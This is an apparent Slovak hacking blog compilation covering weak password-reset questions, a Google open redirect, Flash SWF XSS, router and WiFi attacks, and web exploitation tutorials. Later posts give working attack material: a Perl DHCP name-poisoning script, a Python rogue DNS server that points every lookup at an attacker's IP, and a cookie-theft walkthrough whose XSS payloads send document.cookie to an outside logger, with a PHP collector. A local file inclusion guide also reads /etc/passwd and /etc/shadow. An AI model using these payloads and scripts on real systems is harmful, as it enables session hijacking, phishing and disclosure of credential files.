"Zabudli ste heslo?" Hrozia problémy!

Mnohí z nás pravdepodobne už niekedy zabudli svoje prihlasovacie údaje a aby nestratili svoj účet klikli na známy odkaz "Zabudli ste svoje heslo?", po správnom zadaní mena domáceho miláčika, mena vašej matky za slobodna alebo iných zdanlivo bezpečných kontrolných otázok sa opäť môžete dostať do svojho účtu.

Ale je tu jeden problém, vaše bezpečnostné otázky v súčasnej dobe môže zodpovedať prakticky hocikto. Niektorí ľudia by boli asi nemylo prekvapený, keby zistili ako málo stačí na zodpovedanie identifikačných otázok pri troche tvorivého hľadania. Bezpečnostné otázky na resetovanie hesla su každým dňom čoraz slabším článkom webu. Niekto si asi povie, že útočník pravdepodobne nebude poznať všetky informácie o mne na toľko, aby mohol zodpovedať kontrolné otázky, ibaže ľudia zabúdajú na fakt, že majú tieto údaje roztrúsené kade-tade a je len otázkou času a šikovnosti útočníka, či sa na druhý deň do svojho účtu dostanete. Pekný príklad môže byť najmä medzi mládežou populárny pokec, na ktorom asi nebude veľmi problém zistiť meno psa, výšku, najlepšieho kamaráta, atď. Takto vlastne obeť podstrčí útočníkovi odpovede rovno pred nos.

Celý problém je v tom, že poskytovateľom je jedno, v akom bezpečí sú ich užívatelia (česť výnimkám), hlavne že je tam kontrolná otázka a všetci majú pocit bezpečia... až dokým sa niečo nestane. Bezpečnostná otázka by mala byť tažká pre cudzieho a zároveň ľahká pre majiteľa strateného účtu. Napríklad otázky typu "Máte radi divadlo?". Tieto otázky majú výhodu hlavne v tom, že ich útočník len tažko nájde v nejakej databáze, keďže otázky tohoto typu sa v internetových formuároch takmer nevyskytujú, musí si buď typnúť, poznať obeť na toľko aby ich mohol zodpovedať alebo sa na nich spýtať napríklad cez už spomínaný pokec. Keby takýchto otázok poskytovateľ dal 10 alebo aj 15, percento odcudzených účtov by sa určite znížilo. Ďalším vylepšovákom by mal byť povinný alternatívny email, na ktorý sa vám zašle novo vygenerované heslo, samozrejmosťou je, že záložný email musí mať tiež aspoň priemerné ochranné prvky (O celkovej bezpečnosti našich portálov a ich prístupu k nej asi ani nemusím hovoriť, povedzme, že útočník neovláda iné techniky, za pomoci ktorých by mohol dostať účet pod svoju kontrolu).

Ďalším potenciálnym problémom by mohol byť nájsť kompromis medzi bezpečnosťou a pohodlnosťou. Totiž veľa ľudí aj keď má možnosť si nastaviť väčší počet otázok tak to neurobí, nastaví si jednu a pre ňu najľahšiu. Môj názor je, že treba stále nútiť užívateľov k tomu, aby sa zamysleli nad rizikom, ktoré si týmto spôsobujú a že im nebude veľmi príjemné keď si niekto bude čítať jeho poštu alebo sa vydávať za jeho osobu. Samozrejme, že tieto kritériá treba prispôsobiť portálu, aj keď to z hľadiska bezpečnosti nieje optimálne, dal by som minimálny počet indentifikačných otázok aspon na tých 6-7, nech sa užívateľia učia, že to nie je pre ich otravu, ale pre ich vlastnú bezpečnosť a postupom času keď si tieto fakty uvedomia, budú len radi, že ich poskytovateľ myslí aj na takú vec ako resetovanie hesla.

Samozrejme tieto vylepšenia sú asi ešte pre väčšinu našich portálov v nedohľadne, nakoľko užívateľia nemajú potrebu mať väčšie súkromie a tým pádom poskytovaťeľia nemajú potrebu s tým nič robiť. O tejto téme by sa dalo asi veľa písať. Ja som to len tak trochu načrtol (dufam, že som na nič podstatné nezabudol :-)
Cya!

Google Http Redirection

Vďaka Googlu môžete svojvoľne robiť redirect (presmerovanie) na zoznam.sk z ó božského google.com :)

Google - zoznam.sk

V podstate môžete urobiť presmerovanie na ktorúkoľvek webovú stránku, http požiadavka vyzerá takto:
http://www.google.com/pagead/iclk?sa=l&ai=FnzbwS&num=67575&adurl=http://zoznam.sk/
Teória je, že Google neoveruje pole ai= alebo num= , tým pádom môžete vkladať prakticky čokoľvek a url bude stále validná.Príklad:
http://www.google.com/pagead/iclk?sa=l&ai=presmerovanie&num=na_zoznam&adurl=http://zoznam.sk/
Tu by sa dal veľmi šikovne zakomponovať aj nejaký download, určite sa s tým dá pekne pohrať.No dúfajme, že Google to v najbližšej dobe "fixne".

XSS zraniteľnosti v Shockwave Flash súboroch

Kritické zraniteľnosti sú do veľkej miery obsiahnuté používaním publikačných nástrojov (avšak tento problém sa nevsťahuje výhradne na tieto nástroje), ktoré automaticky generujú Shockwave Flash (swf) súbory, ako napríklad Adobe Dreamweaver, Adobe Contribute, Adobe Acrobat Connect, InfoSoft FusionCharts alebo Techsmith Camtasia.A práve webové stránky, ktoré zakladajú na vytváraní swf súborov, sú náchylné k Cross-Site Scriptingu.

XSS

Ako už všetci isto vieme, Cross-site scripting je útok na úživateľa pomocou webovej aplikácie.Ak je webová aplikácia zraniteľná na XSS a útočník naláka užívateľa kliknúť na odkaz k nakazenej webovej aplikácií, potom útočník môže získať úplnú kontrolu nad užívateľským session.Útočník môže vykonať hocijakú JavaScriptovú operáciu vo svoj prospech (napríklad online transakcia v bankovom systéme alebo aj zmena cesty k webstránke (uplatnenie phisingu)).

XSS swf zraniteľnosti

Nanešťastie tieto xss bugy sú vcelku bežnou záležitosťou.Mnoho publikačných nástrojov, ktoré automaticky vytváraju (generujú) swf, vkladajú identický a samozrejme zraniteľný ActionScript do všetkých uložených swf alebo do všetkých kontrolných swf ("save as SWF", "export to SWF", atd.).

Adobe Dreamweaver

"skinName" parameter je akceptovaný Flashovými súbormi vytvorenými pomocou funkcie "Insert Flash Video"."skinName" môže byť použitý k donúteniu obete načítať ľubovoľné URL a to aj vrátane "asfunction" spracovania protokolu:

http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//
Táto záležitosť bola fixnutá v Decembrovom Flash Player release.Navyše, útočník taktiež môže pomocou "skinName" pritlačiť obeť k múru a aplikovať na ňu ľubovoľné SWF vedúce k Cross Site Flashingu (XSF) a XSS útokom:

http://www.example.com/FLVPlayer_Progressive.swf?skinName=http://rcannings.googlepages.com/DoKnowEvil
Oprava bola prevedená v Januáry.Vid Adobe report (Adobe bol kontaktovaný 8. Augusta 8007).

Adobe Acrobat Connect (vrátane Macromedia Breeze)

"main.swf" je kontrolór súborov vo všetkých Connect/Breeze online prezentáciách.Tento SWF je nevhodne schvaľovaný "baseurl" parametrom.Takto pôsobý script injection:

http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//

Toto bolo taktiež opravené v Decembrovom release.Útočník môže použiť "baseurl" za účelom donútenia obete a následovné načítanie ľubovoľného SWF ústiaceho do XSF alebo XSS:

http://www.example.com/main.swf?baseurl=http://rcannings.googlepages.com/DoKnowEvil.swf%3f
Adobe bol kontaktovaný 31. Júla 2007, Adobe report.

InfoSoft FusionCharts

Jedna z týchto záležitostí bola nájdená aj v FusionCharts, konkrétne parameter "dataURL" umožňuje svojvoľné vkladanie HTML do "TextArea".Toto umožňuje útočníkom nahrávať SWF z ostatných domén:

http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//rcannings.googlepages.com/DoKnowEvil.swf%3F.jpg%22%3E
InfoSoft bol s týmto oboznámený 2. Septembra 2007.Release bol vydaný niekedy na konci Septembra.

Autodemo

Autodemo je servisní poskytovaeľ, no nie publikačných nástrojov.Avšak, tak ako publikačné nástroje, aj oni používajú bežné kontrolné súbory v demách."onend" parameter v "control.swf" nahráva ľubovoľné URL vrátane JavaScriptového protokol handleru:

http://www.example.com/control.swf?onend=javascript:alert(1)//
Autodemo bol kontaktovaný 17. Augusta 2007.Fixáciu sme mohli vidieť už v Auguste. Autodemo avšak nieje jediným servisným providerom, ktorý obsahoval XSS vo svojich produktoch, veľké množstvo z nich ani len netušilo, že ich SWF sú zraniteľné.

Zraniteteľnosti v Skype

Útočný vektor je trochu zamotaný, ale veľmi často vhodný a celkom praktický. Uživateľ jednoducho potrebuje navštíviť DailyMotion (náchylný na Cross-site scripting) a prostredníctvom Skypu pridať tlačítkom video na chat, toto je základná chyba, ktorá obsahuje zraniteľnosť typu Cross-site Scripting. Tento typ scenára môže byť dosiahnutý niekoľkými spôsobmi, ale verím, že väčšina prístupov by bola tiež možná aj sociálnym inžinierstvom na uživateľa alebo spammovanie DailyMotion pomocou stoviek dalších infikovaných videí. Aviv a pdp už o chybe v Skype nazývanej Local Zone vedely už niekoľko mesiacov. Predsalen toto je prvá významnejšia zraniteľnosť, ktorá očividne poukazuje na (ne)bezpečnosť Skypu. Taktiež sa tam nachádzajú dalšie útočné vektory, na ktoré si treba dávať pozor, ajkeď pracujú jedine v sieti, kde útočník môže ovplyvniť komunikáciu (mitm útoky, packet injection na wifi siete, sieťový spoofing, atd.). A tiež mi nedá nespomenúť, že Skypový traffic čiastočne prechádza nezakódovaným kanálom, čo môže mať vážne dôsledky. Nuž, čo z toho všetkého vyplýva? Dávajte si pozor na uploadovanie videí cez Skype pokiaľ túto zraniteľosť ešte nemáte ošetrenú. Nemôžem vám rozkázať aby ste prestali použivať tento sw, ajkeď chyby v článku sú už trochu staršieho dáta, je len na vás čo si z tohto vcelku stručného článku odnesiete..

XSSing siete 2

Predovšetkým lokálna sieť potrebuje preskúmať "živé" hosty (každý host potrebuje byť zoskenovaný pomocou URL databázy, aby sa mohol detekovať typ a verzia firmwaru). Akonáhle je detekovaný firmware, môžeme naňho uskutočniť vhodný útok. Pokiaľ užívateľ trávi značné množstvo času na nebezpečných stránkach, útok väčšinou nebude mať úspech. Na(ne)šťastie existuje niekoľko dalšich možných útokov, ktoré môžu byť použité na zabezpečenie úspešnej exploitácie.

Webové trójske kone

Predpokladám, že každý viete cca čo to trójsky koník je ( program ktorý sa javí ako úplne neškodný, ale pritom je to zákerná sviňa, ktorá nás má nejakým spôsobom poškodiť). Webové trojany sú používané na vytvorenie určitého dôverného vzťahu s návšetvníkmi. Príklad: útočník môže začleniť do YouTube playeru nebezpečný kód, ktorý sa postará o zvyšok útoku, zatiaľ čo si ho obeť spokojne prehráva. Nebadateľný zákerný kód môže vykonávať bezpečnostný audit lokálnej siete pomocou JavaScriptu, ActionScriptu, Javy, XML, XSLT a tiež kombinovať ich.

Útok na sieť tiež môže byť vykonaný za pomoci Flash-u. Flash 7 má flexibilitu vykonávať cross domény pomocou požiadavky a to bez obmedzenia (Flash 8 je už fixnutý). Útočník potrebuje spraviť iframe vyvolávajúci zraniteľnosť URL za účelom injekcie JavaScriptového kódu v rámci atakovania domény. Keď je toto dosiahnuté , prehliadač umožní XmlHttpRequest bez akéhokoľvek obmedzenia .V AJAX svete, XmlHttpRequest je väčšinou dobre známa technológia na vykonávanie POST, GET, PUT, TRACE, TRACK, atď. Výsledkom toho, útočník môže úspešne bypassnúť(obísť) doménové obmedzenia, ale o tom až niekedy inokedy

src: pdp
Cya!

XSSing siete

Pokúsim sa okrajovo vysvetliť teóriu routerov/vstupných brán (gateways). Za účelom tohoto cvičenia sú tri nevyhnutné predpoklady ktoré musia byť splnené: stránka, ktorá je kontrolovaná útočníkom (evil.com), router náchylný k XSS a užívateľ navštevujúci evil.com

Akonáhle užívateľ navštívy evil.com, temný JavaScriptový kód vykoná hľadanie v lokálnej LAN, následovne nájde "živé" mašiny a približne určí pozíciu routera. Ihneď ako je router identifikovaný, zákerný skript zobrazí softwarovú verziu. Tento krok môže byť preskočený, ale je to určite dobrá vec ak chce byť napádateľ utajený. Myslím na to, že moderné browsery majú doménové obmedzenia, čo znamená, že efektné AJAX techniky ako napríklad XmlHttpRequest objekty tu jednoducho nepracujú. Útočný vektor objasnily SPI Dynamics, aj keď by mal fungovať vo všetkých prehliadačoch...Medzitým JavaScriptový kód pohltil niekoľko požiadaviek voči routeru pre spoločný image súbor. Rozdielne typy routerov maju rozdielne images, takže je to odlišný postup na identifikáciu serverového softwaru.

V závislosti od nazbieraných výsledkov skenovania procesu, sme pripravený odhaliť narušený XSS tok. Tento XSS tok je používaný zákerným JavaScriptom na zobrazovanie kódu routerovej domény. Tento krok je rozhodujúci. Moderné prehliadače vám neumožňujú vykonať cross doménovej požiadavky, ale pokiaľ to vopred predpokladáme mohli by sme teoreticky využiť nejáku chybu v prehliadači, avšak nieje to príliš čistý postoj...

V každom prípade, JavaScript vytvorý neviditeľný iframe na evil.com, ktorý zo sebou prináša útok. Iframe source obsahuje URL, ktorá využíva XSS tok v routery. Odvtedy má kód účinok na routerovú doménu, ktorá má určitý druh internej IP. To znamená, že zvyšok útoku môže byť konštruovaný od XmlHttpRequest objektov, ktoré poskytujú väčšiu kontrolu vo vstupe aj výstupe.

V záverečnej etape, kód prenesieme pomocou routerového XSS toku vykonávajúceho login a obnovu užívateľa, ktorý je neskôr podrobený vzdialenej "zberni" kontrolovanej úočníkom. Okrem toho by si útočník mohol priať zbúrať bezpečnostný level využitého stroja aby sa mohol opätovne vrátiť...

Rooting verejnej WiFi siete

Hacking je disciplína, ktorá vyžadaje veľa kreativity a motivácie. Porozumenie príde postupom času so skúsenostiami.

Dnes by som chcel pokryť niektoré zaujímavé útočné vektory, ktoré môžu byť vykonávané ihneď ako útočník dostane prístup k sieti(otvorené WiFi siete a bezplatné WiFi HotSpoty sú v slušnej miere zraniteľné). Neskôr zmieňované útočné techniky sú vyvinuté Petkovými osobnými skúsenoťami s DHCP.

Jano navštívi verejný WiFi HotSpot. Akonáhle je spojený s WiFi sieťou, DHCP správa je medzičasom vymenená za jeho počítač a DHCP server, ktorý má väčšinou nastavenú vstupnú "bránu" defaultne. Na základe toho stavu Ip adresa je rezervovaná pre klienta a mašina je zhodená do siete. Z toho bodu Jano môže vidieť na mašinky pomocou ARP skenovania siete alebo dokonca vykonávanie niektorých pingov (ICMP), keď sieť nieje rozdelená, čo je dosť častý prípad.

Toto nieje nejáko obzvlášť zaujímavé. Ak si budete starostlivo všimať DHCP discover-offer-request-ack dialóg, budete informovaný, že každý paket zasvätený DHCP klientom obsahujúci niekoľko voliteľných oblastí reprezentuje meno klienta. Mnoho sietí/routerov bude spokojne prijímať mená a používať ich ako súčasť svojej DNS služby. Nehovoriac o tom, že DNS lookup-y budú analyzovať Ip adresy, a to je celkom preblém. Konečný záver je teda jasný: útočník môže registrovať hocijaké meno v rámci onej siete. "Aký je potom bezpečnostný problém?" . Verte alebo nie, je to celkom závažný bezpečnostný problém, ktorého pozornosť vzbudil nielen u bezpečnostných technikov.
Mnoho laptopov je konfigurovaných na používanie krátkych mien, keď sú využívané v rámci spoločnosti a v domácom prostredí. Jednoducho umiestnené proxy servery je pravdepodobne volané proxy, mailové servery sú volané mail, WPAD server je volaný wpad, a tak dalej. V situácií keď je klient spojený s HotSpotom, spýta sa na meno, ale nenájde povinnú ip a tak DNS server nemôže rozhonúť o mene. Ale toto nieje prípad s každou aktívnou DHCP sieťou. Meno klienta v DHCP môže byť stanovené použitím a ako taký môže vytvárať doménové mená pre proxy a mail. To znamená, že použitím jednoduchej UDP DHCP požiadavky, útočník môže zmeniť meno známej služby a presmerovať jeho traffic. Toto je to, čo by som chcel odkázať na DHCP name poisoning attack. Situácia je potom ešte horšia ako sa zdá.

pdp navrhol jednoduchý skript s ktorým môžete testovať či je vaša sieť zraniteľná alebo nie.

#!/usr/bin/env perl

use File::Basename;
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;

$usage = "usage: ".basename($0)."    \n";

$mac = shift or die $usage;
$ip = shift or die $usage;
$domain = shift or die $usage;
$name = shift or die $usage;

$request = Net::DHCP::Packet->new(
Xid => 0x11111111,
Flags => 0x0000,
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPREQUEST(),
DHO_HOST_NAME() => $name,
DHO_VENDOR_CLASS_IDENTIFIER() => $mac,
DHO_DHCP_REQUESTED_ADDRESS() => $ip,
DHO_DOMAIN_NAME() => $domain,
DHO_DHCP_CLIENT_IDENTIFIER() => $mac
);

$ack = Net::DHCP::Packet->new(
Xid => 0x11111111,
Flags => 0x0000,
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPACK(),
);

$handle = IO::Socket::INET->new(
Proto => 'udp',
Broadcast => 1,
PeerPort => '67',
LocalPort => '68',
PeerAddr => '255.255.255.255'
) or die "Socket: $@";

$handle->send($request->serialize()) or die "Error sending broadcast request:$!\n";
$handle->send($ack->serialize()) or die "Error sending broadcast act:$!\n";

WiFi Bezpečnosť

Jedno zo základných pravidiel, o ktorom sa nedočítate v žiadnej bezpečnostnej príručke ani knihe o bezpečnosti a ktoré sa môžete naučit len z praxe je, že všetko je v symbióze . To znamená, že bezpečnostné modely individuálnych komponentov v systéme sú na seba vzájomne naviazané.

Keď hovoríme o WiFi bezpečnosti, obyčajne zakopneme o vec ako je (za)kódovanie, WPA a WPA2, 802.11 autorizácia, klientské certifikáty, sieťová členitosť, atd. Doposiaľ žiadna z týchto technológií neposkytuje bezpečnosť ale skôr veci ako súkromie, verifikácia identity a autorizácia. Toto sú základné komponenty WiFi, ale v žiadnom prípade to neznamená komplexné riešenie všetkých problémov.

Fizické diery

Toto je jeden z najstarších trikov. Je to ako trójsky kôň v starovekom Grécku. Stratégia je veľmi prostá. Keď jeden nájde spôsob ako dostať fyzický prístup k budove, on/ona môže rozvinúť bezdrôtový prístup, ktorý bude neskôr využitý. A teraz, aký tvrdý je ten prístup?
Ľahší ako si myslíte! Myslím na to, že spoločnosti uzatvárajú obchody. Ich budovy niesu neprekonateľné pevnosti .Mnohokrát fyzické diery sú skoro také jednoduché ako chodenie po vestibule a hľadanie nechráneného sieťového adaptéra.

Návštevníci WiFi

Vaša WiFi sieť je pravdepodobne zabezpečená, ale aká je bezpečnosť vášho obchodného partnera? Spoločnosti majú nezabezpečené WiFi siete, ktoré sú špecifické tým, že sú navrhnuté len pre návštevníkov(hostí). Tieto siete sú celkom "otvorené" a majú niečo ako BlueSocket. Hostia vložia svoje vstupné heslá a sú tam. Žiaľ ich celý traffic cestuje čistý a jasný vzduchom tak dobre ako ich POP3 prihlasovacie dáta a http sessions.

Owned WiFi

Posledných pár dní som sa začal zaujímať o pripojenie sa k wifi bez wep kľúča kde je útočník schopný zmeniť primárny DNS server na routery. Toto je v dnešnej dobe dosť závažný bezpečnostný problém ako útočník môže prísť k vašim detailom o kreditnej karte alebo nejakým iným rovnocenným informáciám.

Predstavte si, že ste v hoteli spolu s vašim laptopom. Ste pripojení na wifi a nachádzate sa na front page google.com. Kompletná url je http://www.google.com a otázka znie, je táto stránka pravá(autentická)? Útočník by mohol mať prístup k routeru a zmeniť primárny DNS server prostredníctvom dostupných metód.

Teoreticky by útočník mohol použiť hocijakú Ip adresu k "naťahovaciemu triku", pokiaľ by DNS server bol spustený za UDP portom 53. No viacej užitočné by bolo, ak by napádateľ mal pod kontrolou DNS server, tak môže ukázať užívateľovi to, čo by vidieť chcel.
Príklad, užívateľ môže napísať webovú stránku banky a skončiť tak následovne v phisingovej stránke, ktorá môže byť vizuálne spravená úplne rovnako. Takže nič netušiaci užívateľ si pekne zadáva údaje priamo do loggeru útočníka. Je to veľká hrozba, ktorá môže ovplyvniť kohokoľvek kto nemá zabezpečený svoj systém.

pdp vytvoril skript v Pythone, ktorý funguje ako prechodný DNS server a bude meniť všetky požiadavky na "overené".

# DNS Injection Server
# Created By fazed
# DNSQuery class adapted from Francisco Santos's
# code. why re-invent the wheel?

from socket import *

class DNSQuery:
def __init__(self, data):
self.data=data
self.domain=''

tipo = (ord(data[2]) >> 3) & 15
if tipo == 0:
ini=12
lon=ord(data[ini])
while lon != 0:
self.domain+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])

def respond(self, ip):
packet=''
if self.domain:
packet+=self.data[:2] + "\x81\x80"
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
packet+=self.data[12:]
packet+='\xc0\x0c'
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
return packet

print ":: DNS Injection Server Started ::"
sh = socket(AF_INET, SOCK_DGRAM)
print "Socket Handle Created.."
sh.bind(('',53))
print "Socket Handle Bound To UDP Port 53"
ip = raw_input("IP to inject: ")
try:
while 1:
data, addr = sh.recvfrom(1024)
print "DNS Request From:", addr[0]
p = DNSQuery(data)
print "Sending IP address:", ip
sh.sendto(p.respond(ip),addr)
print "Response Sent.."
except KeyboardInterrupt:
print ":: DNS Injection Server Stoped ::"
sh.close()

Self-Contained XSS útoky

Podstatou všetkých cross-site scripting (xss) útokov je ich "neošetrená ukecanosť". V tom je krása každej aplikácie - či je vstup zraniteľný a či môže byť potencionálne využiteľný útočníkom k session stealingu, zhromaždovaniu dôležitých informácií, atd.

XSS útoky môžu byť perzistantné (trvalé) alebo neperzistatné (dočasné). Perzistatné útoky sú nebezpečnejšie, pretože je možné dlhšie infikovať užívateľov (a je aplikovateľný na všetkých navštevníkov...nie je potrebné sociálne inžinierstvo). Neperzistentný útok, i ked je menej nebezpečný, sa veľmi často využíva v phishingu a taktiež je oveľa viac zaužívaní. No to už väčšina z vás predpokladám vedela a nemalo by to byť pre vás nič nové.

Táto metóda môže byť úspešne použitá v obchádzaní mailových filtroch, xss filtroch, firewalloch alebo neošetrených funkciách. Výsledok Self-Contained XSS si môžete vyskúšať na tomto linku.
Názov "Self-Contained XSS" vysvetľuje všetko. Je to Cross-site scripting útok, ktorý nevyžaduje zraniteľnosť vstupu. Všetko potrebné je zahrnuté v url. Hneď ako bude spustená url, zdroj (teda skript) bude spustený.

Url musí mať prefix data: protokol a nasledovná špeciálna syntax. Je mnoho protokolov v moderných browseroch ako napríklad http:, https:, ftp:, about:, data:

Dopad Self-contained XSS môže byť väčší ako si dokážete predstaviť. Táto technika umožňuje dinamické vytváranie binárnych súborov z JavaScriptu. JavaScriptový wormovia sú schopný vytvoriť DOC a PDF súbory, tie môžu obsahovať zlomyseľný obsah pre využitie rôznych "overflow" zraniteľností. Ako príklad uvediem Self-contained word dokument, ktorý je mimochodom v tomto prípade absolútne neškodný.

data:application/msword;base64,0M&

Neviem ako na kód budú reagovať ostatné prehliadača ale Firefox by s tým problém mať nemal a myslím že Opera tiež nie.

Source: pdp

Kradneme sušienky

Cookie Stealing with non-persistent xss

No poďme hneď na vec. Ako prvé si samozrejme musíme nájsť fugu v url na dotyčnom webe. Tu máme našu:
http://www.example.sk/index.php?paper&name=<script>alert(xss);</script>
toto je samozrejme ten úplne najjdenoduchší pripad využitia xss a často krát budete musieť použiť tvz. bypassy alebo zakódovať url, ale to nieje gro tohoto článku.
Môžme si nechať vypísať svoje cookies
http://www.example.sk/index.php?paper&name=<script>alert(document.cookie)</script>
týmto by sme samozrejme nič nezískali, chýba nám nejaký skript ktorý by umožňoval odchytávať prichádzajúce dáta a ako už niektorí možno tušia, je to Cookie Logger . Po absolvovaní registrácie vám bude pridelené vaše ID ktoré ochvíľu použijeme v tvare:

http://ccl.whiteacid.org/log.php?598648

zeleným je vyznačené ID. Sušienky zašleme pomocou location.href a príjmeme document.cookie . Url bude teda vypadať približne takto
http://www.example.sk/index.php?paper&name=<script>location.href="http://ccl.whiteacid.org/log.php?598648"+document.cookie</script>
Cookie Stealing with persistent xss

Tu je to už o niečo tažšie na uskutočnenie a veľa vecí nemusí výsť podľa vaších predstáv. Najprv si musíme nájsť nejakú návštevnú knihu/fórum/diskusiu, dačo kde by sme mohli aplikovať JavaScript.
V prvom rade si vytvoríme súbor, ktorý bude obsahovať:

 <?php                   
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('logger.txt', 'a');
fwrite($file, $cookie . "\n\n");
?> 

súbor uložíte napríklad ako zlodej.php, následne umiestnite na váš server a nastavte atribút 777 aby sa dalo doňho zapisavať.
Do vstupu (guestbook, diskusia, ..) vložíme približne takýto skript, ako som už povedal, je častokrát potrebné skript ušiť na mieru, preto toto berte viacmenej len ako malý ťahák.

<script>document.location="http://www.mojserver.sk/zlodej.php?cookie="+document.cookie</script>

Nuž, teraz musíme len čakať kým sa nám nejaký user alebo ešte lepšie administrátor pozrie do diskusie kde je skript vložený, akonáhle to spravý, jeho cookies sa nám odošlú na náš logger skadiaľ si ich vyzdvihneme, prepíšeme za tie naše a prihlásime sa pod stealnutými sušienkami. Takže ako vidíte, xss nieje kozmetická chyba, za ktorú ju mnoho programátorov považuje, ale naozaj ide o závažnú zraniteľnosť.

Local File Inclusion

Tak v skratke Local File Inclusion (LFI) je metóda pomocou ktorej si môžeme zobraziť obsah, ktorý by sme za normálnych okolností nevideli.

Ok, máme webovú stránku:

http://www.example.sk/index.php?post=options.php

a skúsime otvoriť adresár pomocou ../

http://www.example.sk/index.php?post=../

ak máme práva na zobrazovanie tohto adresára načítajú sa nám súbory, ktoré sú v ňom uložené, to je ale veľmi nepravdepodobné a stránka nám vráti chybovú hlášku. Skúsme si teraz načítať súbor /etc/passwd.

http://www.example.sk/index.php?post=../../../etc/passwd

umiestnenie súboru zistíte pomocou ../ a to tak, že budete postupne pridávať až sa vám načítajú užívateľské mená (/etc/passwd), samozrejme ak je webová stránka náchylná na tento typ útoku.
Ďalej môžme použiť bypass null byte ktorého hexa kód je %oo a v našom prípade výsledná url bude vypadať takto:

http://www.example.sk/index.php?post=../../../etc/passwd%oo&id_user=86

tento bypass spôsobý, že všetko za ním bude ignorované (v našom prípade id_user )
Ešte niekoľko zaujímavých príkladov lokálneho skriptovania:

/etc/passwd
/etc/shadow
/etc/group
/etc/profile
/etc/hosts
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Je to veľmi zaujímavá metóda, ale musím podotknúť, že na ňu treba istú dávku šťastia. Tí, ktorý pochopili problematiku vedia, že hore uvedené adresáre im môžu, ale aj nemusia pomôct na náchylnej stránke pretože web môže mať úplne odlišný strom adresárov.